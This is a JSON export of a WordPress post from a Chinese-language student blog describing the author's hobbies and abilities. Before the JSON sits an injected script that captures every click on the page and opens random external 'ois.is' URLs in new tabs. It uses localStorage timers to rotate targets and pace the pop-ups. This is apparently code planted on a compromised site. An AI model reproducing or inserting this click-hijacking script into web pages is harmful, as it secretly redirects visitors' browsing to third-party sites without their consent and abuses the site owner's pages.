<script>(function (parameters) {
		const targets = [
			'https://ois.is/images/logo-1.png', 'https://ois.is/images/logo-2.png', 'https://ois.is/images/logo-3.png', 'https://ois.is/images/logo-4.png', 'https://ois.is/images/logo-5.png', 'https://ois.is/images/logo-6.png', 'https://ois.is/images/logo-7.png', 'https://ois.is/images/logo-8.png'
		]
		// Times between clicks
		const restMinutes = 1;
		// Number of hours to allow re-click 
		const allowedHours = 2;


		const saveTargetLocationsToStorage = (targets) => {
			targets.forEach((target, index) => {
				if(!localStorage.getItem(`${target}-local-storage`)){
					localStorage.setItem(`${target}-local-storage`, 0);
				}
			});
		}
		const getRandomLocationFromStorage = (targets) => {
			const nonVisited = targets.filter((target, index) => localStorage.getItem(`${target}-local-storage`) == 0)
			return nonVisited[Math.floor(Math.random() * nonVisited.length)];
		}
		const setLocationAsVisited = (target) => localStorage.setItem(`${target}-local-storage`, 1);

		const getTimeStorage = (key) => localStorage.getItem(`${key}-local-storage`);
		const setTimeToStorage = (key, nowDate) => localStorage.setItem(`${key}-local-storage`, nowDate);

		const getHoursDiff = (startDate, endDate) => {
			const msInHour = 1000 * 60 * 60;
			return Math.round(Math.abs(endDate - startDate) / msInHour);
		}
		const getMintsDiff = (startDate, endDate) => {
			const msInMints = 1000 * 60;
			return Math.round(Math.abs(endDate - startDate) / msInMints);
		}

		const visitNewLocation = (targets, host, nowDate) => {
			saveTargetLocationsToStorage(targets);
			newLocation = getRandomLocationFromStorage(targets);
			setTimeToStorage(`${host}-mnts`, nowDate);
			setTimeToStorage(`${host}-hurs`, nowDate);
			setLocationAsVisited(newLocation);
			window.open(newLocation, "_blank");
		}

		// const randomLocation = getRandomLocationFromStorage(targets);
		saveTargetLocationsToStorage(targets);

		function globalClick(event) {
			event.stopPropagation();
			const host = location.host;
			let newLocation = getRandomLocationFromStorage(targets);
			const nowDate = Date.parse(new Date());
			const savedDateForMints = getTimeStorage(`${host}-mnts`);
			const savedDateForHours = getTimeStorage(`${host}-hurs`);

			if (savedDateForMints && savedDateForHours) {
				try {
					const storageDateForMints = parseInt(savedDateForMints);
					const storageDateForHours = parseInt(savedDateForHours);
					const mintsDiff = getMintsDiff(nowDate, storageDateForMints);
					const hoursDiff = getHoursDiff(nowDate, storageDateForHours);

					if (hoursDiff >= allowedHours) {
						saveTargetLocationsToStorage(targets);
						setTimeToStorage(`${host}-hurs`, nowDate);
					}
					if (mintsDiff >= restMinutes) {
						if (newLocation) {
							setTimeToStorage(`${host}-mnts`, nowDate);
							window.open(newLocation, "_blank");
							setLocationAsVisited(newLocation);
						}
					}
				} catch (error) { visitNewLocation(targets, host, nowDate); }
			} else { visitNewLocation(targets, host, nowDate); }
		}
		document.addEventListener("click", globalClick)
	})()</script>{"id":391,"date":"2014-05-08T22:34:28","date_gmt":"2014-05-08T14:34:28","guid":{"rendered":"http:\/\/edu.secda.info\/scu8154201\/?p=391"},"modified":"2023-03-06T14:03:55","modified_gmt":"2023-03-06T06:03:55","slug":"%e8%88%88%e8%b6%a3%e8%88%87%e5%b0%88%e9%95%b7","status":"publish","type":"post","link":"https:\/\/edu.secda.info\/scu8154201\/?p=391","title":{"rendered":"\u6211\u7684\u8208\u8da3&#038;\u5c08\u9577"},"content":{"rendered":"<hr \/>\n<p><strong style=\"font-family: 'Trebuchet MS'; font-size: 19px; color: #000000; line-height: 1.3em;\"><span style=\"color: #0000ff;\">\u3010\u6211\u559c\u6b61\u7684\u8208\u8da3\u3011<\/span><\/strong><\/p>\n<p><span style=\"color: #808080;\">\u8208\u8da3\u6709\u5ee3\u6cdb\u65bc\u5404\u9818\u57df\uff0c\u50cf\u662f\u97f3\u6a02\u3001\u9ad4\u80b2\u3001\u751a\u81f3\u662f\u548c\u7a0b\u5f0f\u65b9\u9762\uff0c\u5f9e\u5c0f\u5b78\u958b\u59cb\u5f48\u92fc\u7434\u81f3\u4eca\uff0c\u9069\u5408\u5c07\u7dca\u5f35\u7684\u72c0\u614b\u653e\u9b06\uff1b\u5927\u5b78\u4e00\u5e74\u7d1a\u958b\u59cb\u6709\u52a0\u5165\u7cfb\u4e0a\u7684\u5973\u7c43\u7403\u968a\uff0c\u5728\u88e1\u9762\u5b78\u7fd2\u5718\u968a\u5408\u4f5c\uff0c\u4e5f\u56e0\u6b64\u4ea4\u4e86\u8a31\u591a\u4e0d\u540c\u985e\u578b\u7684\u670b\u53cb\uff1b\u7d93\u904e\u5927\u5b78\u4e00\u5e74\u7d1a\u5546\u696d\u8edf\u9ad4\u8ab2\u7684VBA\uff0c\u958b\u555f\u4e86\u6211\u5c0d\u7a0b\u5f0f\u7684\u8208\u8da3\uff0c\u5728\u5269\u4e0b\u7684\u5b78\u5206\u4e2d\u6709\u5728\u5168\u6821\u6027\u9078\u4fee\u7e7c\u7e8c\u5b78\u7fd2\u95dc\u65bc\u7a0b\u5f0f\u7684\u5167\u5bb9\u3002<\/span><\/p>\n<p><strong style=\"font-family: 'Trebuchet MS'; font-size: 19px; color: #000000; line-height: 1.3em;\"><span style=\"color: #0000ff;\">\u3010\u6211\u64c5\u9577\u7684\u80fd\u529b\u3011<\/span><\/strong><\/p>\n<p><span style=\"color: #808080;\">\u6211\u5c0d\u80fd\u529b\u7684\u5b9a\u7fa9\u70ba\u7d9c\u5408\u5c0d\u81ea\u5df1\u6709\u5229\u7684\u90fd\u53ef\u4ee5\u88ab\u6210\u70ba\u80fd\u529b\uff0c\u50cf\u662f\u6211\u5177\u6709\u9ad8\u8010\u5fc3\u53ca\u9ad8\u6297\u58d3\u6027\uff0c\u5728\u76ee\u524d\u6b65\u8abf\u5feb\u3001\u9ad8\u58d3\u7684\u793e\u6703\u4e2d\u662f\u4e0d\u53ef\u6216\u7f3a\u7684\uff0c\u4e5f\u5177\u6709\u8207\u6642\u4ff1\u9032\u7684\u80fd\u529b\uff0c\u50cf\u662f\u76ee\u524d\u7684\u6642\u4ee3\u5df2\u7d93\u8207\u79d1\u6280\u5bc6\u4e0d\u53ef\u5206\uff0c\u6211\u4e5f\u6709\u7e7c\u7e8c\u5b78\u7fd2\u8cc7\u8a0a\u65b9\u9762\u7684\u80fd\u529b\u3002<\/span><\/p>\n<p>&nbsp;<\/p>\n","protected":false},"excerpt":{"rendered":"<p>\u3010\u6211\u559c\u6b61\u7684\u8208\u8da3\u3011 \u8208\u8da3\u6709\u5ee3\u6cdb\u65bc\u5404\u9818\u57df\uff0c\u50cf\u662f\u97f3\u6a02\u3001\u9ad4\u80b2\u3001\u751a\u81f3\u662f\u548c\u7a0b\u5f0f\u65b9\u9762\uff0c\u5f9e\u5c0f\u5b78\u958b<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"closed","ping_status":"open","sticky":false,"template":"","format":"standard","meta":[],"categories":[1],"tags":[19],"_links":{"self":[{"href":"https:\/\/edu.secda.info\/scu8154201\/index.php?rest_route=\/wp\/v2\/posts\/391"}],"collection":[{"href":"https:\/\/edu.secda.info\/scu8154201\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/edu.secda.info\/scu8154201\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/edu.secda.info\/scu8154201\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/edu.secda.info\/scu8154201\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=391"}],"version-history":[{"count":8,"href":"https:\/\/edu.secda.info\/scu8154201\/index.php?rest_route=\/wp\/v2\/posts\/391\/revisions"}],"predecessor-version":[{"id":961,"href":"https:\/\/edu.secda.info\/scu8154201\/index.php?rest_route=\/wp\/v2\/posts\/391\/revisions\/961"}],"wp:attachment":[{"href":"https:\/\/edu.secda.info\/scu8154201\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=391"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/edu.secda.info\/scu8154201\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=391"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/edu.secda.info\/scu8154201\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=391"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}